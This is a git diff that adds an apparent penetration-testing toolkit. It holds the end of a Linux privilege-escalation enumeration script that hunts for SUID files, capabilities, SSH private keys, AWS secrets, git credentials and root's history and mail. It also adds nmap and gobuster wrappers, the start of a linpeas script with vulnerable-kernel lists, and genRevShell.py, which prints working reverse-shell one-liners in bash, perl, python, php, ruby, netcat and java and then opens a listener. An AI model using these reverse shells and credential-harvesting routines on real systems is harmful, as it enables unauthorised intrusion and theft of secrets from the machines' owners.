-type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` +if [ "$intsuid" ]; then + echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" + echo -e "\n" +fi + +#lists word-writable suid files +wwsuid=`find / -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$wwsuid" ]; then + echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" + echo -e "\n" +fi + +#lists world-writable suid files owned by root +wwsuidrt=`find / -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$wwsuidrt" ]; then + echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" + echo -e "\n" +fi + +#search for sgid files +findsgid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$findsgid" ]; then + echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" + echo -e "\n" +fi + +if [ "$export" ] && [ "$findsgid" ]; then + mkdir $format/sgid-files/ 2>/dev/null + for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null +fi + +#list of 'interesting' sgid files +intsgid=`find / -perm -2000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` +if [ "$intsgid" ]; then + echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" + echo -e "\n" +fi + +#lists world-writable sgid files +wwsgid=`find / -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$wwsgid" ]; then + echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" + echo -e "\n" +fi + +#lists world-writable sgid files owned by root +wwsgidrt=`find / -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$wwsgidrt" ]; then + echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" + echo -e "\n" +fi + +#list all files with POSIX capabilities set along with there capabilities +fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null` +if [ "$fileswithcaps" ]; then + echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps" + echo -e "\n" +fi + +if [ "$export" ] && [ "$fileswithcaps" ]; then + mkdir $format/files_with_capabilities/ 2>/dev/null + for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null +fi + +#searches /etc/security/capability.conf for users associated capapilies +userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null` +if [ "$userswithcaps" ]; then + echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps" + echo -e "\n" +fi + +if [ "$userswithcaps" ] ; then +#matches the capabilities found associated with users with the current user +matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null` + if [ "$matchedcaps" ]; then + echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps" + echo -e "\n" + #matches the files with capapbilities with capabilities associated with the current user + matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null` + if [ "$matchedfiles" ]; then + echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles" + echo -e "\n" + #lists the permissions of the files having the same capabilies associated with the current user + matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null` + echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms" + echo -e "\n" + if [ "$matchedfilesperms" ]; then + #checks if any of the files with same capabilities associated with the current user is writable + writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null` + if [ "$writablematchedfiles" ]; then + echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles" + echo -e "\n" + fi + fi + fi + fi +fi + +#look for private keys - thanks djhohnstein +if [ "$thorough" = "1" ]; then +privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null` + if [ "$privatekeyfiles" ]; then + echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles" + echo -e "\n" + fi +fi + +#look for AWS keys - thanks djhohnstein +if [ "$thorough" = "1" ]; then +awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null` + if [ "$awskeyfiles" ]; then + echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles" + echo -e "\n" + fi +fi + +#look for git credential files - thanks djhohnstein +if [ "$thorough" = "1" ]; then +gitcredfiles=`find / -name ".git-credentials" 2>/dev/null` + if [ "$gitcredfiles" ]; then + echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles" + echo -e "\n" + fi +fi + +#list all world-writable files excluding /proc and /sys +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` + if [ "$wwfiles" ]; then + echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" + echo -e "\n" + fi +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + fi +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" + echo -e "\n" +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" + echo -e "\n" +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" + echo -e "\n" +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" + echo -e "\n" +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" + echo -e "\n" +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" + echo -e "\n" +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +fi + +if [ "$thorough" = "1" ]; then + #phackt + #displaying /etc/fstab + fstab=`cat /etc/fstab 2>/dev/null` + if [ "$fstab" ]; then + echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m" + echo -e "$fstab" + echo -e "\n" + fi +fi + +#looking for credentials in /etc/fstab +fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` +if [ "$fstab" ]; then + echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" + echo -e "\n" +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +fi + +fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" + echo -e "\n" +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "[-] Can't search *.conf files as no keyword was entered\n" + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" + echo -e "\n" + else + echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" + echo -e "'$keyword' not found in any .conf files" + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + fi +fi + +#use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "[-] Can't search *.php files as no keyword was entered\n" + else + phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$phpkey" ]; then + echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" + echo -e "\n" + else + echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" + echo -e "'$keyword' not found in any .php files" + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$phpkey" ]; then + phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null + for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "[-] Can't search *.log files as no keyword was entered\n" + else + logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" + echo -e "\n" + else + echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" + echo -e "'$keyword' not found in any .log files" + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "[-] Can't search *.ini files as no keyword was entered\n" + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" + echo -e "\n" + else + echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" + echo -e "'$keyword' not found in any .ini files" + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" + echo -e "\n" +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" + echo -e "\n" +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" + echo -e "\n" +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +fi + +#all accessible .bash_history files in /home +checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;` +if [ "$checkbashhist" ]; then + echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist" + echo -e "\n" +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" + echo -e "\n" +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" + echo -e "\n" +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +fi +} + +docker_checks() +{ + +#specific checks - check to see if we're in a docker container +dockercontainer=` grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` +if [ "$dockercontainer" ]; then + echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" + echo -e "\n" +fi + +#specific checks - check to see if we're a docker host +dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` +if [ "$dockerhost" ]; then + echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" + echo -e "\n" +fi + +#specific checks - are we a member of the docker group +dockergrp=`id | grep -i docker 2>/dev/null` +if [ "$dockergrp" ]; then + echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" + echo -e "\n" +fi + +#specific checks - are there any docker files present +dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` +if [ "$dockerfiles" ]; then + echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" + echo -e "\n" +fi + +#specific checks - are there any docker files present +dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` +if [ "$dockeryml" ]; then + echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" + echo -e "\n" +fi +} + +lxc_container_checks() +{ + +#specific checks - are we in an lxd/lxc container +lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` +if [ "$lxccontainer" ]; then + echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer" + echo -e "\n" +fi + +#specific checks - are we a member of the lxd group +lxdgroup=`id | grep -i lxd 2>/dev/null` +if [ "$lxdgroup" ]; then + echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup" + echo -e "\n" +fi +} + +footer() +{ +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" +} + +call_each() +{ + header + debug_info + system_info + user_info + environmental_info + job_info + networking_info + services_info + software_configs + interesting_files + docker_checks + lxc_container_checks + footer +} + +while getopts "h:k:r:e:st" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + s) sudopass=1;; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +call_each | tee -a $report 2> /dev/null +#EndOfScript diff --git a/first_scan.sh b/first_scan.sh new file mode 100755 index 0000000..3a06587 --- /dev/null +++ b/first_scan.sh @@ -0,0 +1,25 @@ +#!/usr/bin/bash + +if [ $# -lt 1 ]; then + echo "Invalid usage: $0 " + exit +fi + +if [ "$EUID" -ne 0 ]; then + echo "[-] Script requires root permissions (e.g. nmap scan)" + exit +fi + +IP_ADDRESS=$1 + +echo "[+] Checking online status…" +ping -c1 -W1 -q "${IP_ADDRESS}" &>/dev/null +status=$(echo $?) + +if ! [[ $status == 0 ]] ; then + echo "[-] Target not reachable" + exit +fi + +echo "[+] Scanning for open ports…" +nmap -A "${IP_ADDRESS}" -p 1-65535 -T 5 --stats-every 30s diff --git a/genRevShell.py b/genRevShell.py new file mode 100755 index 0000000..697dec2 --- /dev/null +++ b/genRevShell.py @@ -0,0 +1,61 @@ +#!/usr/bin/python + +import socket +import sys +import subprocess +import netifaces as ni + +def getLocalAddress(): + interface = "tun0" + if not interface in ni.interfaces(): + interface = ni.interfaces()[0] + + addresses = ni.ifaddresses(interface) + address = addresses[next(iter(addresses))][0]["addr"] + return address + +def generatePayload(type, local_address, port): + + if type == "bash": + return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port) + elif type == "perl": + return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port) + elif type == "python" or type == "python2" or type == "python3": + binary = type + return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port) + elif type == "php": + return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port) + elif type == "ruby": + return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port) + elif type == "netcat": + return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port) + elif type == "java": + return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port) + elif type == "xterm": + return "xterm -display %s:1" % (local_address) + +if __name__ == "__main__": + + if len(sys.argv) < 3: + print("Usage: %s " % sys.argv[0]) + exit(1) + + listen_port = int(sys.argv[2]) + payload_type = sys.argv[1].lower() + + local_address = getLocalAddress() + payload = generatePayload(payload_type, local_address, listen_port) + + if payload is None: + print("Unknown payload type: %s" % payload_type) + print("Supported types: bash, perl, python[2|3], php, ruby, netcat, java, xterm") + exit(1) + + print("---PAYLOAD---\n%s\n---PAYLOAD---\n" % payload) + + if payload_type == "xterm": + print("You need to run the following commands (not tested):") + print("xhost +targetip") + print("Xnest :1") + else: + subprocess.call(["nc", "-lvvp", str(listen_port)]) diff --git a/gobuster.sh b/gobuster.sh new file mode 100755 index 0000000..2800a5b --- /dev/null +++ b/gobuster.sh @@ -0,0 +1,16 @@ +#!/usr/bin/bash + +if [ $# -lt 1 ]; then + echo "Invalid usage: $0 " + exit +fi + +HOST=$1 +EXTENSIONS="" + +if [ $# -gt 1 ]; then + EXTENSIONS="-x ${2}" +fi + +gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \ + -k "${EXTENSIONS}" -b "403,404" diff --git a/linpeas.sh b/linpeas.sh new file mode 100755 index 0000000..54916ae --- /dev/null +++ b/linpeas.sh @@ -0,0 +1,1419 @@ +#!/bin/sh + +VERSION="v2.1.7" + +########################################### +#---------------) Colors (----------------# +########################################### + +C=$(printf '\033') +RED="${C}[1;31m" +GREEN="${C}[1;32m" +Y="${C}[1;33m" +B="${C}[1;34m" +LG="${C}[1;37m" #LightGray +DG="${C}[1;90m" #DarkGray +NC="${C}[0m" + + +########################################### +#---------------) Lists (-----------------# +########################################### + +filename="linpeas.txt" +kernelB=" 3.9.6\| 3.9.0\| 3.9\| 3.8.9\| 3.8.8\| 3.8.7\| 3.8.6\| 3.8.5\| 3.8.4\| 3.8.3\| 3.8.2\| 3.8.1\| 3.8.0\| 3.8\| 3.7.6\| 3.7.0\| 3.7\| 3.6.0\| 3.6\| 3.5.0\| 3.5\| 3.4.9\| 3.4.8\| 3.4.6\| 3.4.5\| 3.4.4\| 3.4.3\| 3.4.2\| 3.4.1\| 3.4.0\| 3.4\| 3.3\| 3.2\| 3.19.0\| 3.16.0\| 3.15\| 3.14\| 3.13.1\| 3.13.0\| 3.13\| 3.12.0\| 3.12\| 3.11.0\| 3.11\| 3.10.6\| 3.10.0\| 3.10\| 3.1.0\| 3.0.6\| 3.0.5\| 3.0.4\| 3.0.3\| 3.0.2\| 3.0.1\| 3.0.0\| 2.6.9\| 2.6.8\| 2.6.7\| 2.6.6\| 2.6.5\| 2.6.4\| 2.6.39\| 2.6.38\| 2.6.37\| 2.6.36\| 2.6.35\| 2.6.34\| 2.6.33\| 2.6.32\| 2.6.31\| 2.6.30\| 2.6.3\| 2.6.29\| 2.6.28\| 2.6.27\| 2.6.26\| 2.6.25\| 2.6.24.1\| 2.6.24\| 2.6.23\| 2.6.22\| 2.6.21\| 2.6.20\| 2.6.2\| 2.6.19\| 2.6.18\| 2.6.17\| 2.6.16\| 2.6.15\| 2.6.14\| 2.6.13\| 2.6.12\| 2.6.11\| 2.6.10\| 2.6.1\| 2.6.0\| 2.4.9\| 2.4.8\| 2.4.7\| 2.4.6\| 2.4.5\| 2.4.4\| 2.4.37\| 2.4.36\| 2.4.35\| 2.4.34\| 2.4.33\| 2.4.32\| 2.4.31\| 2.4.30\| 2.4.29\| 2.4.28\| 2.4.27\| 2.4.26\| 2.4.25\| 2.4.24\| 2.4.23\| 2.4.22\| 2.4.21\| 2.4.20\| 2.4.19\| 2.4.18\| 2.4.17\| 2.4.16\| 2.4.15\| 2.4.14\| 2.4.13\| 2.4.12\| 2.4.11\| 2.4.10\| 2.2.24" +kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5\|3.11.0-13-generic\|3.11.0-14-generic\|3.11.0-15-generic\|3.11.0-17-generic\|3.11.0-18-generic\|3.11.0-20-generic\|3.11.0-22-generic\|3.11.0-23-generic\|3.11.0-24-generic\|3.11.0-26-generic\|3.13.0-100-generic\|3.13.0-24-generic\|3.13.0-27-generic\|3.13.0-29-generic\|3.13.0-30-generic\|3.13.0-32-generic\|3.13.0-33-generic\|3.13.0-34-generic\|3.13.0-35-generic\|3.13.0-36-generic\|3.13.0-37-generic\|3.13.0-39-generic\|3.13.0-40-generic\|3.13.0-41-generic\|3.13.0-43-generic\|3.13.0-44-generic\|3.13.0-46-generic\|3.13.0-48-generic\|3.13.0-49-generic\|3.13.0-51-generic\|3.13.0-52-generic\|3.13.0-53-generic\|3.13.0-54-generic\|3.13.0-55-generic\|3.13.0-57-generic\|3.13.0-58-generic\|3.13.0-59-generic\|3.13.0-61-generic\|3.13.0-62-generic\|3.13.0-63-generic\|3.13.0-65-generic\|3.13.0-66-generic\|3.13.0-67-generic\|3.13.0-68-generic\|3.13.0-71-generic\|3.13.0-73-generic\|3.13.0-74-generic\|3.13.0-76-generic\|3.13.0-77-generic\|3.13.0-79-generic\|3.13.0-83-generic\|3.13.0-85-generic\|3.13.0-86-generic\|3.13.0-88-generic\|3.13.0-91-generic\|3.13.0-92-generic\|3.13.0-93-generic\|3.13.0-95-generic\|3.13.0-96-generic\|3.13.0-98-generic\|3.2.0-101-generic\|3.2.0-101-generic-pae\|3.2.0-101-virtual\|3.2.0-102-generic\|3.2.0-102-generic-pae\|3.2.0-102-virtual\|3.2.0-104-generic\|3.2.0-104-generic-pae\|3.2.0-104-virtual\|3.2.0-105-generic\|3.2.0-105-generic-pae\|3.2.0-105-virtual\|3.2.0-106-generic\|3.2.0-106-generic-pae\|3.2.0-106-virtual\|3.2.0-107-generic\|3.2.0-107-generic-pae\|3.2.0-107-virtual\|3.2.0-109-generic\|3.2.0-109-generic-pae\|3.2.0-109-virtual\|3.2.0-110-generic\|3.2.0-110-generic-pae\|3.2.0-110-virtual\|3.2.0-111-generic\|3.2.0-111-generic-pae\|3.2.0-111-virtual\|3.2.0-1412-omap4\|3.2.0-1602-armadaxp\|3.2.0-23-generic\|3.2.0-23-generic-pae\|3.2.0-23-lowlatency\|3.2.0-23-lowlatency-pae\|3.2.0-23-omap\|3.2.0-23-powerpc-smp\|3.2.0-23-powerpc64-smp\|3.2.0-23-virtual\|3.2.0-24-generic\|3.2.0-24-generic-pae\|3.2.0-24-virtual\|3.2.0-25-generic\|3.2.0-25-generic-pae\|3.2.0-25-virtual\|3.2.0-26-generic\|3.2.0-26-generic-pae\|3.2.0-26-virtual\|3.2.0-27-generic\|3.2.0-27-generic-pae\|3.2.0-27-virtual\|3.2.0-29-generic\|3.2.0-29-generic-pae\|3.2.0-29-virtual\|3.2.0-31-generic\|3.2.0-31-generic-pae\|3.2.0-31-virtual\|3.2.0-32-generic\|3.2.0-32-generic-pae\|3.2.0-32-virtual\|3.2.0-33-generic\|3.2.0-33-generic-pae\|3.2.0-33-lowlatency\|3.2.0-33-lowlatency-pae\|3.2.0-33-virtual\|3.2.0-34-generic\|3.2.0-34-generic-pae\|3.2.0-34-virtual\|3.2.0-35-generic\|3.2.0-35-generic-pae\|3.2.0-35-lowlatency\|3.2.0-35-lowlatency-pae\|3.2.0-35-virtual\|3.2.0-36-generic\|3.2.0-36-generic-pae\|3.2.0-36-lowlatency\|3.2.0-36-lowlatency-pae\|3.2.0-36-virtual\|3.2.0-37-generic\|3.2.0-37-generic-pae\|3.2.0-37-lowlatency\|3.2.0-37-lowlatency-pae\|3.2.0-37-virtual\|3.2.0-38-generic\|3.2.0-38-generic-pae\|3.2.0-38-lowlatency\|3.2.0-38-lowlatency-pae\|3.2.0-38-virtual\|3.2.0-39-generic\|3.2.0-39-generic-pae\|3.2.0-39-lowlatency\|3.2.0-39-lowlatency-pae\|3.2.0-39-virtual\|3.2.0-40-generic\|3.2.0-40-generic-pae\|3.2.0-40-lowlatency\|3.2.0-40-lowlatency-pae\|3.2.0-40-virtual\|3.2.0-41-generic\|3.2.0-41-generic-pae\|3.2.0-41-lowlatency\|3.2.0-41-lowlatency-pae\|3.2.0-41-virtual\|3.2.0-43-generic\|3.2.0-43-generic-pae\|3.2.0-43-virtual\|3.2.0-44-generic\|3.2.0-44-generic-pae\|3.2.0-44-lowlatency\|3.2.0-44-lowlatency-pae\|3.2.0-44-virtual\|3.2.0-45-generic\|3.2.0-45-generic-pae\|3.2.0-45-virtual\|3.2.0-48-generic\|3.2.0-48-generic-pae\|3.2.0-48-lowlatency\|3.2.0-48-lowlatency-pae\|3.2.0-48-virtual\|3.2.0-51-generic\|3.2.0-51-generic-pae\|3.2.0-51-lowlatency\|3.2.0-51-lowlatency-pae\|3.2.0-51-virtual\|3.2.0-52-generic\|3.2.0-52-generic-pae\|3.